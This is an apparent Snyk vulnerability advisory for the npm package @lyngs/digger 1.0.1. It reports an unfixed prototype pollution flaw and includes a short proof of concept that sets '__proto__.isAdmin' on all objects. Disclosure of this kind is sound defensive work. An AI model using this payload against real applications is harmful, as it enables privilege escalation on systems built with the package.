@lyngs/digger@1.0.1 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the @lyngs/digger package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

@lyngs/digger is an Use digger() to <get/set> value, from deep inside of an <object/array>.

Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

PoC

const {digger} = require("@lyngs/digger");
console.log('Prototype before dig', ({}).isAdmin);
digger({}, '__proto__.isAdmin', true, {extend: true});
console.log('Prototype after dig', ({}).isAdmin);

How to fix Prototype Pollution?

There is no fixed version for @lyngs/digger.

*